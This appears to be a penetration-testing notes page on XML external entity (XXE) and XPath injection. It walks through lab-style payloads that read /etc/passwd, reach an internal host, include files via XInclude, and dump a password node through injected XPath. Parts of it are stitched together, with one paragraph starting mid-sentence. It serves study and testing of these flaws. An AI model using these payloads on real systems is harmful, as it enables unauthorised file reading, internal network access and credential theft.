XXE

Some XML parsers will resolve external entities, and will allow a user controlling the XML message to access resources; for example to read a file on the system. The following entity can be declared, for example:

<!ENTITY x SYSTEM "file:///etc/passwd"> 

You will need to envelope this properly, in order to get it to work correctly:

<!DOCTYPE test [
    <!ENTITY x SYSTEM "file:///etc/passwd">]>

You can then simply use the reference to x: &x; (don't forget to encode &) to get the corresponding result inserted in the XML document during its parsing (server side).

this example, the code uses the user's input, inside an XPath expression. XPath is a query language, which selects nodes from an XML document. Imagine the XML document as a database, and XPath as an SQL query. If you can manipulate the query, you will be able to retrieve elements to which you normally should not have access.

If we inject a single quote, we can see the following error:

Warning: SimpleXMLElement::xpath(): Invalid predicate in /var/www/index.php on line 22
Warning: SimpleXMLElement::xpath(): xmlXPathEval: evaluation failed in /var/www/index.php on line 22
Warning: Variable passed to each() is not an array or object in /var/www/index.php on line 23

Just like SQL injection, XPath allows you to do boolean logic, and you can try:

  • ' and '1'='1 and you should get the same result.

  • ' or '1'='0 and you should get the same result.

  • ' and '1'='0 and you should not get any result.

  • ' or '1'='1 and you should get all results.

Based on these tests and previous knowledge of XPath, it's possible to get an idea of what the XPath expression looks like:

[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]

To comment out the rest of the XPath expression, you can use a NULL BYTE (which you will need to encode as %00). As we can see in the XPath expression above, we also need to add a ] to properly complete the syntax. Our payload now looks like hacker']%00 (or hacker' or 1=1]%00 if we want all results).

If we try to find the child of the current node, using the payload '%20or%201=1]/child::node()%00, we don't get much information.

Here, the problem is that we need to get back up in the node hierarchy, to get more information. In XPath, this can be done using parent::* as part of the payload. We can now select the parent of the current node, and display all the child node using hacker'%20or%201=1]/parent::*/child::node()%00.

One of the node's value looks like a password. We can confirm this, by checking if the node's name is password using the payload hacker']/parent::*/password%00.

XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>




XXE via File Upload

Last updated